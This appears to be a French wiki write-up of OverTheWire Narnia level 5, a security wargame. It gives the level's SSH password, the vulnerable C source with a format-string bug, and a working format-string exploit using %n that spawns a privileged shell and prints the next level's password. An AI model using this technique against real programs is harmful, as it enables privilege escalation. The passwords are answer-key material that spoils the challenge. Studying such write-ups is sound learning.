Outils d'utilisateurs

Outils du Site


overthewire_narnia:level5
ssh narnia5@narnia.labs.overthewire.org
pass : faimahchiy
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
	int i = 1;
	char buffer[64];
 
	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");
 
	if(i==500){
		printf("GOOD\n");
		system("/bin/sh");
	}
 
	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string :-) Le but est d'écrire 500 sur la variable i, si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler :-D)

L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche.

narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"')
Change i's value from 1 -> 500. GOOD
$ id
uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5)
$ cat /etc/narnia_pass/narnia6
neezocaeng
overthewire_narnia/level5.txt · Dernière modification: 2017/04/09 15:33 (modification externe)